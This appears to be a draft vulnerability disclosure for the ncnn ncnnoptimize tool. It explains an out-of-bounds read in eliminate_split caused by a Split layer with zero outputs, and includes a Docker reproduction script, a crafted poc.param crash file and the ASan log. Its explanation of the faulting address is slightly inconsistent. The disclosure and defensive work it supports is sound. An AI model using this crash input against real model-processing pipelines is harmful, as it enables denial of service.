All advisories
Draft

Out-Of-Bounds Read Can Crash ncnnoptimize

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Out-Of-Bounds Read Can Crash ncnnoptimize

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/ncnnoptimize.cpp:2265 in NetOptimize::eliminate_split
Sanitizer verdict: SEGV on unknown address (pc 0x5c320350768c bp 0x7fff70b7eaf0 sp 0x7fff70b7ea70 T0)

Summary

A .param file containing a Split layer that declares zero output blobs makes ncnnoptimize evaluate split->tops[-1], computing an address roughly 4 GB away from the vector's buffer and killing the process. The entry point is ncnnoptimize, which passes argv[1] to optimizer.load_param() and then unconditionally runs eliminate_split(). Any pipeline that optimizes attacker-supplied models can be halted by a three-line text file.

Detail

Net::load_param() accepts any non-negative top count, so the line Split split 1 0 x produces a Split layer whose tops vector is empty. NetOptimize::eliminate_split() initialises real_split_top_blob_index to -1 and only updates it inside a loop bounded by split->tops.size(). With an empty tops the loop body never runs, real_split_output_count stays 0, and the > 1 guard — the only check on the loop's outcome — passes.

// tools/ncnnoptimize.cpp:2219
        int real_split_output_count = 0;
        int real_split_top_blob_index = -1;
        size_t top_blob_count = split->tops.size();
        for (size_t j = 0; j < top_blob_count; j++)
        {
            int top_blob_index_final = split->tops[j];
            if (blobs[top_blob_index_final].consumer != -1)
            {
                real_split_output_count += 1;
                real_split_top_blob_index = j;
            }
        }

        if (real_split_output_count > 1)
            continue;

// tools/ncnnoptimize.cpp:2265
        int top_blob_index_final = split->tops[real_split_top_blob_index];

Between those two points the function only needs to find a producer for the split's input. The PoC's Input in 0 1 x supplies blob x, so the backward scan at lines 2240-2256 sets top_i = 0 at j = 0 and the j == -1 bail-out at line 2258 does not fire. Execution reaches line 2265 with real_split_top_blob_index still -1.

std::vector::operator[] takes a size_type, so -1 is converted to 0xFFFFFFFFFFFFFFFF and scaled by sizeof(int); the resulting address is the data pointer minus four bytes computed modulo 2^64, i.e. roughly 4 GB above the buffer. ASan reports this as a read SEGV with the hint "dereference of a high value address". No weight file is involved — the PoC passes null as the binary input, and eliminate_split() runs at tools/ncnnoptimize.cpp:2833, long before shape inference.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-out-of-bounds-read-can-crash-ncnnoptimize && cd ncnn-poc-out-of-bounds-read-can-crash-ncnnoptimize

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input in 0 1 x
Split split 1 0 x
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

eliminate_split in split
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x59d448cb968c bp 0x7fffb0ff1fc0 sp 0x7fffb0ff1f40 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x59d448cb968c in NetOptimize::eliminate_split() /ncnn/tools/ncnnoptimize.cpp:2265
    #1 0x59d448cc5e76 in main /ncnn/tools/ncnnoptimize.cpp:2833
    #2 0x71e4929291c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x71e49292928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x59d448c45624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/ncnnoptimize.cpp:2265 in NetOptimize::eliminate_split()
==1==ABORTING

Credit

Zheng Yu @ DepthFirst